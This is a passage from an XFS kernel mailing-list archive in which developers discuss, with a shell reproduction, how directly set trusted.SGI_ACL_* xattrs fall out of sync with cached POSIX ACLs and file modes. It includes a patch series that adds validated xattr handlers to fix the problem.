Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 41F237F54 for ; Sat, 24 Oct 2015 10:23:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 312F7304053 for ; Sat, 24 Oct 2015 08:22:58 -0700 (PDT) X-ASG-Debug-ID: 1445700176-04cbb0660d54890001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id jY7oSj6Ung9BDrLk (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sat, 24 Oct 2015 08:22:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 9D9ABC0BEABC for ; Sat, 24 Oct 2015 15:22:56 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9OFMuBJ013198; Sat, 24 Oct 2015 11:22:56 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 12D121201AB; Sat, 24 Oct 2015 11:22:55 -0400 (EDT) Date: Sat, 24 Oct 2015 11:22:55 -0400 From: Brian Foster To: Andreas Gruenbacher Cc: xfs@oss.sgi.com Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} Message-ID: <20151024152254.GA22232@bfoster.bfoster> X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} References: <20151024125659.GA8095@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445700177 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sat, Oct 24, 2015 at 03:58:04PM +0200, Andreas Gruenbacher wrote: > On Sat, Oct 24, 2015 at 2:57 PM, Brian Foster wrote: > > On Fri, Oct 23, 2015 at 03:52:54PM +0200, Andreas Gruenbacher wrote: > >> Hello, > >> > >> The usual way of manipulating a file's POSIX ACL is through the > >> system.posix_acl_{access,default} xattrs. Setting > >> system.posix_acl_access also sets the permission bits in the file > >> mode. The acls are cached in inode->i_acl and inode->i_default_acl. > >> > >> On XFS, POSIX ACLs are also exposed as trusted.SGI_ACL_{FILE,DEFAULT} > >> xattrs in a different value format. However, setting these xattrs does > >> not update inode->i_{,default_}acl, and setting trusted.SGI_ACL_FILE > >> does not update the file mode; things can get out of sync: > >> > > > > It looks like the posix_acl_* values are virtual xattrs on XFS. They get > > translated to the SGI_ACL_* names before the acl code calls down into > > the xattr code. The result is cached into the inode via set_cached_acl() > > before the call returns. > > The posix_acl_* attributes are handled by the vfs > posix_acl_*_xattr_handler handlers which talk to the filesystem using > the get_acl and set_acl inode operations. We would need such handlers > for SGI_ACL_*, installed before xfs_xattr_trusted_handler in > xfs_xattr_handlers. > Yes, but the translation all occurs on the XFS side. I'm not following the last bit... are you suggesting a special xattr handler that uses "trusted.SGI_FILE" as a prefix? I'm not sure that matters either way so long as those xattrs are trapped appropriately, but feel free to send a patch. :) > > The xattr code doesn't know anything about this so I suspect this is the > > reason for the inconsistency. A direct xattr update just updates the > > data on-disk and has no knowledge of the ACLs cached to the inode, the > > latter of which is probably what is returned after the setxattr. > > > >> $ touch f > >> $ setfacl -m u:agruenba:rw f > >> $ ls -l f > >> -rw-rw-r--+ 1 root root 0 Oct 23 15:04 f > >> $ getfattr -m- -d f > >> # file: f > >> security.selinux="unconfined_u:object_r:user_tmp_t:s0" > >> system.posix_acl_access=0sAgAAAAEABgD/////AgAGAOgDAAAEAAQA/////xAABgD/////IAAEAP////8= > >> trusted.SGI_ACL_FILE=0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== > >> > >> $ chmod 0 f > >> $ setfattr -n trusted.SGI_ACL_FILE -v > >> 0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== > >> f > >> $ ls -l f > >> ----------+ 1 root root 0 Oct 23 15:04 /var/tmp/f > >> $ getfacl f > >> # file: f > >> # owner: root > >> # group: root > >> user::--- > >> user:agruenba:rw- #effective:--- > >> group::r-- #effective:--- > >> mask::--- > >> other::--- > >> $ getfattr -m- -d f > >> # file: f > >> security.selinux="unconfined_u:object_r:user_tmp_t:s0" > >> system.posix_acl_access=0sAgAAAAEAAAD/////AgAGAOgDAAAEAAQA/////xAAAAD/////IAAAAP////8= > >> trusted.SGI_ACL_FILE=0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAYAAAAAAAT/////AAQAAAAAABD/////AAYAAAAAACD/////AAQAAA== > >> > >> Here, the file mode and the reported value of system.posix_acl_access > >> are both wrong; trusted.SGI_ACL_FILE corresponds to what's stored on > >> disk. > >> > >> Access to trusted.* attributes is limited to users capable of > >> CAP_SYS_ADMIN so ordinary users cannot cause this kind of damage, but > >> this still deserves fixing. > >> > > > > Not sure there's a real use case for this, but it looks like we could > > invalidate the cached ACLs if those xattrs are modified directly via the > > xattr interface. > > POSIX ACLs should not have been exposed twice in the first place, but > those SGI_ACL_* xattrs have been around for a very long time and we > cannot get rid of them now. It's likely that some applications will > back up some or all of an inode's xattrs and later restore them. > I wasn't suggesting to get rid of them. > > Care to test the (compile tested only) hunk below? > > That won't update the file mode when setting a SGI_ACL_* attribute. > Hmm, perhaps this is not sufficient if the mode has to be updated as well. I suppose we could try to do that as well in this path, but that implies verification of the data (already in on-disk format) as well. There's nothing stopping somebody from doing 'setattr -n trusted.SGI_FILE_ACCESS -v 0 ,' after all. The previous patch wasn't really intended to address that. > > An alternative could be to just disallow setting these xattrs directly. > > Probably not because that would cause applications to fail in > unexpected new ways. > I suppose a backup/restore application might want to set these, but I'm not aware of any other sane usage given they're in a filesystem specific format at this point. We'd probably have to take a look at xfsdump, see how it handles this, then see if there's a clean way to run through necessary acl bits if we're called via setxattr(). Brian > Thanks, > Andreas From bfoster@redhat.com Sat Oct 24 10:36:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CF9F67F56 for ; Sat, 24 Oct 2015 10:36:21 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 60094AC003 for ; Sat, 24 Oct 2015 08:36:18 -0700 (PDT) X-ASG-Debug-ID: 1445700976-04cb6c7b8452ca0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 49j9hNSZlkGtiIEZ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sat, 24 Oct 2015 08:36:16 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 368FEC0AF785 for ; Sat, 24 Oct 2015 15:36:16 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9OFaFrA010114; Sat, 24 Oct 2015 11:36:15 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 92A501201AB; Sat, 24 Oct 2015 11:36:14 -0400 (EDT) Date: Sat, 24 Oct 2015 11:36:14 -0400 From: Brian Foster To: Andreas Gruenbacher Cc: xfs@oss.sgi.com Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} Message-ID: <20151024153612.GB22232@bfoster.bfoster> X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151024152254.GA22232@bfoster.bfoster> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445700976 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sat, Oct 24, 2015 at 11:22:55AM -0400, Brian Foster wrote: > On Sat, Oct 24, 2015 at 03:58:04PM +0200, Andreas Gruenbacher wrote: > > On Sat, Oct 24, 2015 at 2:57 PM, Brian Foster wrote: > > > On Fri, Oct 23, 2015 at 03:52:54PM +0200, Andreas Gruenbacher wrote: ... > > That won't update the file mode when setting a SGI_ACL_* attribute. > > > > Hmm, perhaps this is not sufficient if the mode has to be updated as > well. I suppose we could try to do that as well in this path, but that > implies verification of the data (already in on-disk format) as well. > There's nothing stopping somebody from doing 'setattr -n > trusted.SGI_FILE_ACCESS -v 0 ,' after all. The previous patch > wasn't really intended to address that. > > > > An alternative could be to just disallow setting these xattrs directly. > > > > Probably not because that would cause applications to fail in > > unexpected new ways. > > > > I suppose a backup/restore application might want to set these, but I'm > not aware of any other sane usage given they're in a filesystem specific > format at this point. We'd probably have to take a look at xfsdump, see > how it handles this, then see if there's a clean way to run through > necessary acl bits if we're called via setxattr(). > FWIW, the counter argument to this might be that since these are exposed in filesystem specific format, the bug is that they are exposed in the first place and any backup app that wants to support ACLs should do so using appropriate APIs. That implies we would hide the internal xattrs and disallow setting them directly. I'm not sure what the right answer is tbh (or if the xattr exposure is something more than historical accident). I'd have to think about it a bit. Perhaps Dave or others have some thoughts as well... Brian > Brian > > > Thanks, > > Andreas > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From agruenba@redhat.com Sat Oct 24 16:05:57 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 22D857F59 for ; Sat, 24 Oct 2015 16:05:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9DE4FAC002 for ; Sat, 24 Oct 2015 14:05:53 -0700 (PDT) X-ASG-Debug-ID: 1445720750-04cb6c7b865a690001-NocioJ Received: from mail-lf0-f42.google.com (mail-lf0-f42.google.com [209.85.215.42]) by cuda.sgi.com with ESMTP id CoJrLbBpzVYXBluw (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sat, 24 Oct 2015 14:05:51 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.215.42 Received: by lfaz124 with SMTP id z124so114248091lfa.1 for ; Sat, 24 Oct 2015 14:05:50 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Mvj65ajlc6a5rSP9EEg2ymVQhq0BJJpCKmr4CEIE4FQ=; b=TzeKscdU5UZzucyxSNczd+dckIXDf68lN5MLJuO+OedzQDC84d81cUMUs3OXXT3nOq FGGyF7k3gepSY+o6A9JvvSweJxAziobC9+Wl3dNVQ/kvWeNRevBO1DLDlQGjbVBdurwp sFVDy8iLOjLFSywFiQMQak4/bi2qQGK5nS5lAGgwL02euIcyRDWejXoDZtTJj7C1+15Q hb3hwQBXMgaq3E9MgKxRYY/hSWCfrFl8sSXmyANKLXoURYX4A9X6GfU5PO2xWGxzNmcJ W49Uda9KZvmbNCSBe7QhKMkMI3He2mGO1Ys6biqFXp8rBcgYjoNEIMxDDN7jvPRQRJOu 2Sxg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=Mvj65ajlc6a5rSP9EEg2ymVQhq0BJJpCKmr4CEIE4FQ=; b=Ooygw3V/ZBNxCWzriS+k7WPl65BUp/vTK8ScVqjyNYmcKsS932kzrggDuw0uD/ROev ObtqTw2m/FxcqQ341CoK96N72LM4IK7trYt1kkvFc7s7G37Eg4bOKx21hs/znLtqG0By Pu6yxUZVSWGbipZcpUiY8dytvN66K1wqRE+/UmwovRNt5izozuUmIovOWZ76uzTaCyHW o/7OljaZSrPQvbdSYTXGXlerQPKYYJnrgJw9lH74nontVKFBBHXVqM6rqeJrfKizLxFL PWL5nTMRrCVfPBLYqonVP6uCeIvMQp2miSAbzy7FIzmn+RmUvREA27NfY7wwkuZAauPp ATjw== X-Gm-Message-State: ALoCoQnSZXGzxkMbUyvkeJXCwMjE4R6eMn2qyjO0kBUvNjAyo+SwGvKdLR98RTh6aysBXg/Rf3t/ MIME-Version: 1.0 X-Received: by 10.112.64.72 with SMTP id m8mr13380155lbs.41.1445720749815; Sat, 24 Oct 2015 14:05:49 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Sat, 24 Oct 2015 14:05:49 -0700 (PDT) In-Reply-To: <20151024152254.GA22232@bfoster.bfoster> References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> Date: Sat, 24 Oct 2015 23:05:49 +0200 Message-ID: Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} To: Brian Foster Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lf0-f42.google.com[209.85.215.42] X-Barracuda-Start-Time: 1445720751 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23784 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain On Sat, Oct 24, 2015 at 5:22 PM, Brian Foster wrote: > On Sat, Oct 24, 2015 at 03:58:04PM +0200, Andreas Gruenbacher wrote: >> The posix_acl_* attributes are handled by the vfs >> posix_acl_*_xattr_handler handlers which talk to the filesystem using >> the get_acl and set_acl inode operations. We would need such handlers >> for SGI_ACL_*, installed before xfs_xattr_trusted_handler in >> xfs_xattr_handlers. >> > > Yes, but the translation all occurs on the XFS side. I'm not following > the last bit... are you suggesting a special xattr handler that uses > "trusted.SGI_FILE" as a prefix? Yes. > I'm not sure that matters either way so > long as those xattrs are trapped appropriately, but feel free to send a > patch. :) I'll send some patches. Andreas From agruenba@redhat.com Sat Oct 24 16:16:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 629787F5F for ; Sat, 24 Oct 2015 16:16:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 53BBB30405F for ; Sat, 24 Oct 2015 14:16:14 -0700 (PDT) X-ASG-Debug-ID: 1445721372-04cb6c7b855a920001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id HGZ5GHbrrWASmLuj (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sat, 24 Oct 2015 14:16:13 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id CB6CD19CBFE for ; Sat, 24 Oct 2015 21:16:12 +0000 (UTC) Received: from nux.redhat.com (vpn1-4-1.ams2.redhat.com [10.36.4.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9OLGAnF028794; Sat, 24 Oct 2015 17:16:11 -0400 From: Andreas Gruenbacher To: Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH 0/4] xfs: SGI ACL Fixes Date: Sat, 24 Oct 2015 23:16:05 +0200 X-ASG-Orig-Subj: [PATCH 0/4] xfs: SGI ACL Fixes Message-Id: <1445721369-25679-1-git-send-email-agruenba@redhat.com> References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> In-Reply-To: X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445721373 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Here are some fixes for the trusted.SGI_ACL_* attributes. This adds some more warts and it would be much better to get rid of those unnecessary attributes instead; we probably can't though. I have tested this manually but haven't run xfstests against that. Please review. Thanks, Andreas Andreas Gruenbacher (4): xfs: Validate the length of on-disk ACLs xfs: SGI ACLs: Fix caching and mode setting xfs: SGI ACLs: Map uid/gid namespaces xfs: SGI ACLs: Prepare for richacls fs/xfs/libxfs/xfs_format.h | 8 +++- fs/xfs/xfs_acl.c | 115 ++++++++++++++++++++++++++++++++++++++++----- fs/xfs/xfs_acl.h | 3 ++ fs/xfs/xfs_xattr.c | 9 ++-- fs/xfs/xfs_xattr.h | 28 +++++++++++ 5 files changed, 147 insertions(+), 16 deletions(-) create mode 100644 fs/xfs/xfs_xattr.h -- 2.5.0 From agruenba@redhat.com Sat Oct 24 16:16:19 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2961C7F62 for ; Sat, 24 Oct 2015 16:16:19 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 163CA8F8033 for ; Sat, 24 Oct 2015 14:16:18 -0700 (PDT) X-ASG-Debug-ID: 1445721377-04cbb0660e5be60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 1crQDSH8CmMU2cEF (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sat, 24 Oct 2015 14:16:18 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 7CE86A84 for ; Sat, 24 Oct 2015 21:16:17 +0000 (UTC) Received: from nux.redhat.com (vpn1-4-1.ams2.redhat.com [10.36.4.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9OLGAnH028794; Sat, 24 Oct 2015 17:16:15 -0400 From: Andreas Gruenbacher To: Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH 2/4] xfs: SGI ACLs: Fix caching and mode setting Date: Sat, 24 Oct 2015 23:16:07 +0200 X-ASG-Orig-Subj: [PATCH 2/4] xfs: SGI ACLs: Fix caching and mode setting Message-Id: <1445721369-25679-3-git-send-email-agruenba@redhat.com> In-Reply-To: <1445721369-25679-1-git-send-email-agruenba@redhat.com> References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445721377 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 POSIX ACLs on XFS are exposed as system.posix_acl_* as well as trusted.SGI_ACL_*. Setting the system attributes updates inode->i_mode, inode->i_acl, and inode->i_default_acl as it should, but setting the trusted attributes does not do that. Fix that by adding xattr handlers for the two trusted.SGI_ACL_* attributes. The handlers must be installed before the trusted.* xattr handler in xfs_xattr_handlers to take effect. Other than before, trusted.SGI_ACL_* attribute values are now verified and cannot be set to invalid values anymore. Access to those attributes is still limited to users capable of CAP_SYS_ADMIN, while the system.posix_acl_* attributes can be read by anyone and set by the file owner. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 76 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_acl.h | 3 +++ fs/xfs/xfs_xattr.c | 4 ++- 3 files changed, 82 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 763e365..0eea7ee 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -305,3 +305,79 @@ xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) set_acl: return __xfs_set_acl(inode, type, acl); } + +static int +xfs_xattr_acl_get(struct dentry *dentry, const char *name, + void *value, size_t size, int type) +{ + struct inode *inode = d_inode(dentry); + struct posix_acl *acl; + int error; + + if (S_ISLNK(inode->i_mode)) + return -EOPNOTSUPP; + + acl = get_acl(inode, type); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + + error = XFS_ACL_SIZE(acl->a_count); + if (value) { + if (error > size) + error = -ERANGE; + else + xfs_acl_to_disk(value, acl); + } + + posix_acl_release(acl); + return error; +} + +static int +xfs_xattr_acl_set(struct dentry *dentry, const char *name, + const void *value, size_t size, int flags, int type) +{ + struct inode *inode = d_inode(dentry); + struct xfs_inode *ip = XFS_I(inode); + struct posix_acl *acl = NULL; + int error; + + if (!inode->i_op->set_acl) + return -EOPNOTSUPP; + + if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) + return value ? -EACCES : 0; + + if (value) { + acl = xfs_acl_from_disk(value, size, XFS_ACL_MAX_ENTRIES(ip->i_mount)); + if (IS_ERR(acl)) + return PTR_ERR(acl); + + if (acl) { + error = posix_acl_valid(acl); + if (error) + goto out; + } + } + + error = inode->i_op->set_acl(inode, acl, type); +out: + posix_acl_release(acl); + return error; +} + +const struct xattr_handler xfs_xattr_sgi_acl_file = { + .prefix = XATTR_TRUSTED_PREFIX SGI_ACL_FILE, + .flags = ACL_TYPE_ACCESS, + .get = xfs_xattr_acl_get, + .set = xfs_xattr_acl_set, +}; + +const struct xattr_handler xfs_xattr_sgi_acl_default = { + .prefix = XATTR_TRUSTED_PREFIX SGI_ACL_DEFAULT, + .flags = ACL_TYPE_DEFAULT, + .get = xfs_xattr_acl_get, + .set = xfs_xattr_acl_set, +}; diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h index 3841b07..461dea6 100644 --- a/fs/xfs/xfs_acl.h +++ b/fs/xfs/xfs_acl.h @@ -27,6 +27,9 @@ extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); extern int xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int posix_acl_access_exists(struct inode *inode); extern int posix_acl_default_exists(struct inode *inode); + +extern const struct xattr_handler xfs_xattr_sgi_acl_file; +extern const struct xattr_handler xfs_xattr_sgi_acl_default; #else static inline struct posix_acl *xfs_get_acl(struct inode *inode, int type) { diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index c0368151..7534cb5 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -97,12 +97,14 @@ static const struct xattr_handler xfs_xattr_security_handler = { const struct xattr_handler *xfs_xattr_handlers[] = { &xfs_xattr_user_handler, - &xfs_xattr_trusted_handler, &xfs_xattr_security_handler, #ifdef CONFIG_XFS_POSIX_ACL &posix_acl_access_xattr_handler, &posix_acl_default_xattr_handler, + &xfs_xattr_sgi_acl_file, + &xfs_xattr_sgi_acl_default, #endif + &xfs_xattr_trusted_handler, NULL }; -- 2.5.0 From agruenba@redhat.com Sat Oct 24 16:16:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7A2897F6A for ; Sat, 24 Oct 2015 16:16:21 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 518918F8040 for ; Sat, 24 Oct 2015 14:16:21 -0700 (PDT) X-ASG-Debug-ID: 1445721379-04cb6c7b865a930001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id VBEf6bGqbsjIK2nq (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sat, 24 Oct 2015 14:16:20 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id CF3CB54 for ; Sat, 24 Oct 2015 21:16:19 +0000 (UTC) Received: from nux.redhat.com (vpn1-4-1.ams2.redhat.com [10.36.4.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9OLGAnI028794; Sat, 24 Oct 2015 17:16:18 -0400 From: Andreas Gruenbacher To: Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces Date: Sat, 24 Oct 2015 23:16:08 +0200 X-ASG-Orig-Subj: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces Message-Id: <1445721369-25679-4-git-send-email-agruenba@redhat.com> In-Reply-To: <1445721369-25679-1-git-send-email-agruenba@redhat.com> References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445721380 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Map uids and gids in the trusted.SGI_ACL_{FILE,DEFAULT} attributes between the kernel and user-space namespaces. This needs to be done in the 